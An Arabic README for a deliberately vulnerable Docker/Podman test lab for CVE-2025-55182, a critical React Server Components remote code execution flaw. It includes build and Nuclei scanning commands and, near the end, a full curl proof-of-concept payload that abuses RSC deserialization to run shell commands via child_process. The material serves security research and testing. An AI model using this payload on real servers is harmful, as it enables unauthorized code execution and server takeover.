
بيئة اختبار حاوية لـ CVE-2025-55182، وهي ثغرة تنفيذ تعليمات برمجية عن بُعد خطيرة (10.0 CVSS) في مكونات خادم React.
بيئة اختبار محتضنة لـ CVE-2025-55182، وهي ثغرة تنفيذ تعليمات برمجية عن بُعد حرجة (10.0 CVSS) في مكونات خادم React.
هذه البيئة معرضة للاختراق عمدًا ويجب استخدامها فقط من أجل:
لا تفعل:
حزم React:
react-server-dom-webpack: 19.0.0, 19.1.0, 19.1.1, 19.2.0react-server-dom-parcel: 19.0.0, 19.1.0, 19.1.1, 19.2.0react-server-dom-turbopack: 19.0.0, 19.1.0, 19.1.1, 19.2.0Next.js:
React: 19.0.1, 19.1.2, 19.2.1 Next.js: 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7, 16.0.7
# بناء وتشغيل البيئة المعرضة
podman compose up --build -d
# التحقق من تشغيلها
curl http://localhost:3000/api/status
# عرض السجلات
podman logs -f react2shell-vuln
# إيقاف
podman compose down
# بناء وتشغيل البيئة المعرضة
docker-compose up --build -d
# الوصول إلى التطبيق على http://localhost:3000
.
├── README.md # هذا الملف
├── Dockerfile # تعليمات بناء الحاوية
├── Dockerfile.dev # حاوية التطوير مع إعادة التحميل التلقائي
├── docker-compose.yml # تكوين Docker/Podman Compose
├── CVE-2025-55182.yaml # قالب ماسح Nuclei
├── scan.sh # نص برمجي للماسح العام Nuclei
├── scan-results/ # دليل مخرجات المسح
└── vulnerable-app/ # تطبيق Next.js المعرض
├── package.json # التبعيات (إصدارات معرضة)
├── next.config.js # تكوين Next.js
├── tsconfig.json # تكوين TypeScript
└── app/ # صفحات ومكونات App Router
├── layout.tsx # التخطيط الجذري
├── page.tsx # الصفحة الرئيسية مع مكونات الخادم
├── globals.css # الأنماط
├── actions.ts # إجراءات الخادم
├── api/status/ # نقطة نهاية API للحالة
└── components/ # مكونات React
إذا لم يكن لديك القالب، قم بتنزيله من مستودع nuclei-templates الرسمي:
curl -o CVE-2025-55182.yaml https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/main/http/cves/2025/CVE-2025-55182.yaml
النص المرفق scan.sh هو ماسح حاوية Nuclei عام يعمل مع كل من Docker و Podman.
# مسح التطبيق المعرض محليًا
./scan.sh -u http://host.docker.internal:3000 -t CVE-2025-55182.yaml -v
# مسح أي هدف
./scan.sh -u https://example.com -t CVE-2025-55182.yaml
# المسح بجميع قوالب Nuclei
./scan.sh -u https://example.com
# مسح أهداف متعددة من ملف
./scan.sh -l targets.txt -t CVE-2025-55182.yaml
# التصفية حسب الخطورة
./scan.sh -u https://example.com -s critical,high
# إخراج بتنسيق JSON
./scan.sh -u https://example.com -t CVE-2025-55182.yaml -j
podman run --rm \
-v "$(pwd)/CVE-2025-55182.yaml:/templates/CVE-2025-55182.yaml:ro" \
docker.io/projectdiscovery/nuclei:latest \
-t /templates/CVE-2025-55182.yaml \
-u "http://host.docker.internal:3000" \
-v
بمجرد تشغيل الحاوية:
http://localhost:3000http://localhost:3000/api/statusملاحظة: تتعلق الثغرة بإلغاء التسلسل غير الآمن في بروتوكول RSC. يختبر قالب Nuclei متجه الهجوم المحدد هذا.
لاختبار الإصدار المصحح، قم بتعديل vulnerable-app/package.json:
{
"dependencies": {
"next": "15.5.7",
"react": "^19.1.2",
"react-dom": "^19.1.2"
}
}
ثم أعد البناء:
# Podman
podman compose down
podman compose up --build -d
# Docker
docker-compose down
docker-compose up --build
تم توفير بيئة الاختبار هذه للأغراض التعليمية والبحث الأمني فقط. القائمون على الصيانة ليسوا مسؤولين عن أي استخدام سيء لهذا البرنامج. احصل دائمًا على التصريح المناسب قبل اختبار الثغرات الأمنية.
curl -X POST http://localhost:3000 \
-H "Next-Action: x" \
-H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundary" \
-H "X-Nextjs-Request-Id: test123" \
--data-binary $'------WebKitFormBoundary\r\nContent-Disposition: form-data; name="0"\r\n\r\n{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\\"then\\":\\"$B1337\\"}",
"_response": {
"_prefix":"var res=process.mainModule.require(\'child_process\').execSync(\'id\').toString().trim();;throw Object.assign(new Error(\'NEXT_REDIRECT\'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}\r\n------WebKitFormBoundary\r\nContent-Disposition: form-data; name="1"\r\n\r\n"$@0"\r\n------WebKitFormBoundary\r\nContent-Disposition: form-data; name="2"\r\n\r\n[]\r\n------WebKitFormBoundary--' \
-i 2>&1 | grep -i "x-action-redirect"
| الخيار | الوصف |
|---|
-u, --url <url> | عنوان URL الهدف الفردي للمسح |
-l, --list <file> | ملف يحتوي على قائمة بعناوين URL الهدف |
-t, --template <file> | ملف قالب مخصص أو دليل |
-o, --output <dir> | دليل الإخراج (الافتراضي: ./scan-results) |
-s, --severity <level> | التصفية: info, low, medium, high, critical |
-r, --rate-limit <n> | الحد الأقصى للطلبات في الثانية |
-j, --json | إخراج النتائج بتنسيق JSON |
-v, --verbose | إخراج مفصل |
-h, --help | عرض رسالة المساعدة |